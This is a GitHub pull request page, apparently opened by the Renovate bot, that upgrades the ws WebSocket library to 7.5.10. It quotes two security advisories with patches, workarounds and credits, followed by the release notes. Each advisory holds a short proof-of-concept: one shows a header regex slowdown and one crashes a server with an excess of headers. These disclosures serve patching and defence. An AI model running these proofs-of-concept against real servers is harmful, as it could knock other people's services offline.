Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jun 18, 2024

This PR contains the following updates:

Package Change Age Confidence
ws 7.5.07.5.10 age confidence

GitHub Vulnerability Alerts

CVE-2021-32640

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Patches

The vulnerability was fixed in [email protected] (websockets/ws@00c425e) and backported to [email protected] (websockets/ws@78c676d) and [email protected] (websockets/ws@76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws)

v7.5.10

Compare Source

Bug fixes

v7.5.9

Compare Source

Bug fixes

v7.5.8

Compare Source

Bug fixes

v7.5.7

Compare Source

Bug fixes

v7.5.6

Compare Source

Bug fixes

v7.5.5

Compare Source

Bug fixes

v7.5.4

Compare Source

Bug fixes

v7.5.3

Compare Source

Bug fixes

  • The WebSocketServer constructor now throws an error if more than one of the
    noServer, server, and port options are specefied (66e58d2).
  • Fixed a bug where a 'close' event was emitted by a WebSocketServer before
    the internal HTTP/S server was actually closed (5a58730).
  • Fixed a bug that allowed WebSocket connections to be established after
    WebSocketServer.prototype.close() was called (772236a).

v7.5.2

Compare Source

Bug fixes
  • The opening handshake is now aborted if the client receives a
    Sec-WebSocket-Extensions header but no extension was requested or if the
    server indicates an extension not requested by the client (aca94c8).

v7.5.1

Compare Source

Bug fixes
  • Fixed an issue that prevented the connection from being closed properly if an
    error occurred simultaneously on both peers (b434b9f).

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 5b9ae9e to 46f0b26 Compare November 15, 2025 11:53
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 46f0b26 to 2e8fc3a Compare November 19, 2025 03:51
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant